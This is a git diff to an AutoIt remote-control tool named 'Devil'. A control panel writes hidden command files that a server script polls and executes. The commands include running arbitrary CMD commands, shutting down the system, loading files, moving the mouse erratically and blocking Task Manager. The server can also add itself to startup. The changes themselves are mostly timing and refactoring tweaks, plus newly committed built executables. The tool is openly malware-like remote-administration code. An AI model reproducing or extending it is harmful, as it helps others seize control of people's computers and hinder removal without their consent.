diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..7a73a41 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,2 @@ +{ +} \ No newline at end of file diff --git a/Devil-ControlPanel.au3 b/Devil-ControlPanel.au3 index 3e1139c..1839fda 100644 --- a/Devil-ControlPanel.au3 +++ b/Devil-ControlPanel.au3 @@ -2,7 +2,7 @@ Devil ControlPanel AutoIt Version: 3.3.14.5 - Version: Release ( 22:40 5.18.2018 ) + Version: Release ( 22:35 25.11.2018 ) #ce ---------------------------------------------------------------------------- @@ -67,44 +67,32 @@ GUISetState(@SW_SHOW) ; Main Loop While True - Sleep(10) + Sleep(5) $GUICommand = GUIGetMsg() + + LockGUI() Switch $GUICommand Case $GUI_EVENT_CLOSE Terminate() Case $ShowMessageBox_Button - LockGUI() ShowMessageBox() - UnlockGUI() Case $ExecuteToCMD_Button - LockGUI() ExecuteToCMD() - UnlockGUI() Case $SystemShutdown_Button - LockGUI() SystemShutdown() - UnlockGUI() Case $LoadFile_Button - LockGUI() LoadFile() - UnlockGUI() Case $CrazyMouse_EnableButton - LockGUI() EnableCrazyMouse() - UnlockGUI() Case $CrazyMouse_DisableButton - LockGUI() DisableCrazyMouse() - UnlockGUI() Case $BlockTaskManager_EnableButton - LockGUI() EnableBlockTaskManager() - UnlockGUI() Case $BlockTaskManager_DisableButton - LockGUI() DisableBlockTaskManager() - UnlockGUI() EndSwitch + UnlockGUI() + WEnd ; ------------------------------------------------------------------------------ @@ -112,6 +100,7 @@ WEnd ; Show message box Func ShowMessageBox() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -126,14 +115,15 @@ Func ShowMessageBox() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(1000) EndIf EndIf + EndFunc ; Execute CMD command Func ExecuteToCMD() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -148,14 +138,15 @@ Func ExecuteToCMD() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(1000) EndIf EndIf + EndFunc ; Shutdown system Func SystemShutdown() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -168,13 +159,14 @@ Func SystemShutdown() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(1000) EndIf + EndFunc ; Load file to the system Func LoadFile() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -191,14 +183,15 @@ Func LoadFile() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(1000) EndIf EndIf + EndFunc ; Enable CrazyMouse Func EnableCrazyMouse() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -211,13 +204,14 @@ Func EnableCrazyMouse() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(500) EndIf + EndFunc ; Disable CrazyMouse Func DisableCrazyMouse() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -230,13 +224,14 @@ Func DisableCrazyMouse() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(500) EndIf + EndFunc ; Enable block task manager Func EnableBlockTaskManager() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -249,13 +244,14 @@ Func EnableBlockTaskManager() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(500) EndIf + EndFunc ; Disable block task manager Func DisableBlockTaskManager() $ClientID = GUICtrlRead($InputBox) + If $ClientID = "" Then MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!") Else @@ -268,8 +264,8 @@ Func DisableBlockTaskManager() FileDelete($Server_Directory & "\" & $ClientID & "_temp") FileSetAttrib($Server_Directory & "\" & $ClientID, "+H") FileClose($Temp_DataFile) - Sleep(500) EndIf + EndFunc ; Lock gui elements diff --git a/Devil-Server.au3 b/Devil-Server.au3 index 1049a5b..d8c3970 100644 --- a/Devil-Server.au3 +++ b/Devil-Server.au3 @@ -2,7 +2,7 @@ Devil Server AutoIt Version: 3.3.14.5 - Version: Release ( 22:45 18.5.2018 ) + Version: Release ( 22:38 25.11.2018 ) #ce ---------------------------------------------------------------------------- @@ -36,7 +36,7 @@ HotKeySet("{PAUSE}", "RunControlPanel") If $Config_AddToStartup = "True" Then If Not FileExists(@StartupDir & "\devil_server.lnk") Then FileCreateShortcut(@ScriptFullPath, @StartupDir & "\devil_server.lnk", @ScriptDir, "", "devil_server") - Sleep($Config_Speed * 10) + Sleep($Config_Speed + 300) If FileExists(@StartupDir & "\devil_server.lnk") Then MsgBox($MB_OK, "Devil Server", "Devil Server added to start-up!") Else @@ -49,7 +49,7 @@ EndIf ; Main Loop While True - Sleep($Config_Speed) + Sleep($Config_Speed + 1) $ServerData = ReadServer() ; Definition and execution of the received command @@ -89,7 +89,6 @@ Func ReadServer() FileDelete($Config_ServerPatch & "\" & $Config_ClientID) Return $Data Else - ; So that the code does not produce errors Local $Data = ["", ""] Return $Data EndIf diff --git a/assets/preview.png b/assets/preview.png index e1cbd03..4f778df 100644 Binary files a/assets/preview.png and b/assets/preview.png differ diff --git a/dist/builded_x64/Devil-ControlPanel.exe b/dist/builded_x64/Devil-ControlPanel.exe new file mode 100644 index 0000000..1d2d2b9 Binary files /dev/null and b/dist/builded_x64/Devil-ControlPanel.exe differ diff --git a/dist/builded_x64/Devil-Server.exe b/dist/builded_x64/Devil-Server.exe new file mode 100644 index 0000000..806667c Binary files /dev/null and b/dist/builded_x64/Devil-Server.exe differ diff --git a/dist/builded_x64/config.ini b/dist/builded_x64/config.ini new file mode 100644 index 0000000..6d53f5c --- /dev/null +++ b/dist/builded_x64/config.ini @@ -0,0 +1,7 @@ +[Config] + +ClientID=Client +ServerPatch=C:\ +ControlPanelPatch=Devil-ControlPanel.exe +AddToStartup=False +Speed=50 diff --git a/dist/builded_x86/Devil-ControlPanel.exe b/dist/builded_x86/Devil-ControlPanel.exe new file mode 100644 index 0000000..72a5358 Binary files /dev/null and b/dist/builded_x86/Devil-ControlPanel.exe differ diff --git a/dist/builded_x86/Devil-Server.exe b/dist/builded_x86/Devil-Server.exe new file mode 100644 index 0000000..6544606 Binary files /dev/null and b/dist/builded_x86/Devil-Server.exe differ diff --git a/dist/builded_x86/config.ini b/dist/builded_x86/config.ini new file mode 100644 index 0000000..6d53f5c --- /dev/null +++ b/dist/builded_x86/config.ini @@ -0,0 +1,7 @@ +[Config] + +ClientID=Client +ServerPatch=C:\ +ControlPanelPatch=Devil-ControlPanel.exe +AddToStartup=False +Speed=50